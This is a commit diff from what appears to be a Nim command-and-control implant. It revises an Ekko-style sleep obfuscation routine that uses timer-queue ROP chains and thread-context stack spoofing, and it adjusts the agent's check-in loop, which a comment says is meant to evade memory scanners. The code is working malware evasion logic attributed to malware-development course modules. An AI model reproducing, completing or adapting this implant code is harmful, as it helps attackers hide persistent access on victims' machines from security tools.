Decided against implementing additional heap obfuscation for Ekko, due to no sensitive data being allocated in heap memory.
This commit is contained in:
@@ -1,13 +1,14 @@
|
|||||||
import winim/lean
|
import winim/lean
|
||||||
import winim/inc/tlhelp32
|
import winim/inc/tlhelp32
|
||||||
import os, strformat
|
import os, system, strformat
|
||||||
import ../../common/[types, utils, crypto]
|
import ../../common/[types, utils, crypto]
|
||||||
|
|
||||||
import sugar
|
import sugar
|
||||||
|
|
||||||
# Sleep obfuscation implementation based on Ekko, originally developed by C5pider
|
# Sleep obfuscation implementation based on Ekko, originally developed by C5pider
|
||||||
# The code in this file was taken from the MalDev Academy modules 54, 56 & 59 and translated from C to Nim
|
# The code in this file was taken from the MalDev Academy modules 54, 56 & 59 and translated from C to Nim
|
||||||
# https://maldevacademy.com/new/modules/54?view=blocks
|
# https://maldevacademy.com/new/modules/54
|
||||||
|
# https://maldevacademy.com/new/modules/56
|
||||||
|
|
||||||
type
|
type
|
||||||
USTRING* {.bycopy.} = object
|
USTRING* {.bycopy.} = object
|
||||||
@@ -28,7 +29,7 @@ proc NtSignalAndWaitForSingleObject(hSignal: HANDLE, hWait: HANDLE, alertable: B
|
|||||||
proc NtDuplicateObject(hSourceProcess: HANDLE, hSource: HANDLE, hTargetProcess: HANDLE, hTarget: PHANDLE, desiredAccess: ACCESS_MASK, attributes: ULONG, options: ULONG ): NTSTATUS {.cdecl, stdcall, importc: protect("NtDuplicateObject"), dynlib: protect("ntdll.dll").}
|
proc NtDuplicateObject(hSourceProcess: HANDLE, hSource: HANDLE, hTargetProcess: HANDLE, hTarget: PHANDLE, desiredAccess: ACCESS_MASK, attributes: ULONG, options: ULONG ): NTSTATUS {.cdecl, stdcall, importc: protect("NtDuplicateObject"), dynlib: protect("ntdll.dll").}
|
||||||
|
|
||||||
# Function for retrieving a random thread's thread context for stack spoofing
|
# Function for retrieving a random thread's thread context for stack spoofing
|
||||||
proc getRandomThreadCtx(): CONTEXT =
|
proc GetRandomThreadCtx(): CONTEXT =
|
||||||
|
|
||||||
var
|
var
|
||||||
ctx: CONTEXT
|
ctx: CONTEXT
|
||||||
@@ -57,11 +58,11 @@ proc getRandomThreadCtx(): CONTEXT =
|
|||||||
continue
|
continue
|
||||||
|
|
||||||
# Retrieve thread context
|
# Retrieve thread context
|
||||||
ctx.ContextFlags = CONTEXT_ALL
|
ctx.ContextFlags = CONTEXT_ALL # This setting is required to be able to fill the CONTEXT structure
|
||||||
if GetThreadContext(hThread, addr ctx) == 0:
|
if GetThreadContext(hThread, addr ctx) == 0:
|
||||||
continue
|
continue
|
||||||
|
|
||||||
echo protect("[*] Spoofing with call stack of thread "), $thd32Entry.th32ThreadID
|
echo fmt"[*] Using thread {thd32Entry.th32ThreadID} for stack spoofing."
|
||||||
break
|
break
|
||||||
|
|
||||||
return ctx
|
return ctx
|
||||||
@@ -71,8 +72,8 @@ proc sleepEkko*(sleepDelay: int) =
|
|||||||
|
|
||||||
var
|
var
|
||||||
status: NTSTATUS = 0
|
status: NTSTATUS = 0
|
||||||
key: USTRING = USTRING(Length: 0)
|
|
||||||
img: USTRING = USTRING(Length: 0)
|
img: USTRING = USTRING(Length: 0)
|
||||||
|
key: USTRING = USTRING(Length: 0)
|
||||||
ctx: array[10, CONTEXT]
|
ctx: array[10, CONTEXT]
|
||||||
ctxInit: CONTEXT
|
ctxInit: CONTEXT
|
||||||
ctxBackup: CONTEXT
|
ctxBackup: CONTEXT
|
||||||
@@ -128,7 +129,7 @@ proc sleepEkko*(sleepDelay: int) =
|
|||||||
defer: CloseHandle(hEventEnd)
|
defer: CloseHandle(hEventEnd)
|
||||||
|
|
||||||
# Retrieve a random thread context from the current process
|
# Retrieve a random thread context from the current process
|
||||||
ctxSpoof = getRandomThreadCtx()
|
ctxSpoof = GetRandomThreadCtx()
|
||||||
|
|
||||||
# Retrieve the initial thread context
|
# Retrieve the initial thread context
|
||||||
status = RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, 0, 0, WT_EXECUTEINTIMERTHREAD)
|
status = RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, 0, 0, WT_EXECUTEINTIMERTHREAD)
|
||||||
@@ -146,6 +147,7 @@ proc sleepEkko*(sleepDelay: int) =
|
|||||||
status = NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0)
|
status = NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, $status.toHex())
|
raise newException(CatchableError, $status.toHex())
|
||||||
|
defer: CloseHandle(hThread)
|
||||||
|
|
||||||
# Preparing the ROP chain
|
# Preparing the ROP chain
|
||||||
# Initially, each element in this array will have the same context as the timer's thread context
|
# Initially, each element in this array will have the same context as the timer's thread context
|
||||||
@@ -217,9 +219,10 @@ proc sleepEkko*(sleepDelay: int) =
|
|||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, $status.toHex())
|
raise newException(CatchableError, $status.toHex())
|
||||||
|
|
||||||
echo protect("[*] Triggering sleep obfuscation")
|
echo protect("[*] Triggering sleep obfuscation.")
|
||||||
|
|
||||||
status = NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL)
|
status = NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL)
|
||||||
|
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, $status.toHex())
|
raise newException(CatchableError, $status.toHex())
|
||||||
|
|
||||||
|
|||||||
@@ -35,10 +35,11 @@ proc main() =
|
|||||||
|
|
||||||
while true:
|
while true:
|
||||||
|
|
||||||
|
# Sleep obfuscation with stack spoofing to evade memory scanners
|
||||||
sleepEkko(ctx.sleep * 1000)
|
sleepEkko(ctx.sleep * 1000)
|
||||||
|
|
||||||
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
||||||
echo fmt"[{date}] Checking in."
|
echo "\n", fmt"[*] [{date}] Checking in."
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Retrieve task queue for the current agent by sending a check-in/heartbeat request
|
# Retrieve task queue for the current agent by sending a check-in/heartbeat request
|
||||||
|
|||||||
Reference in New Issue
Block a user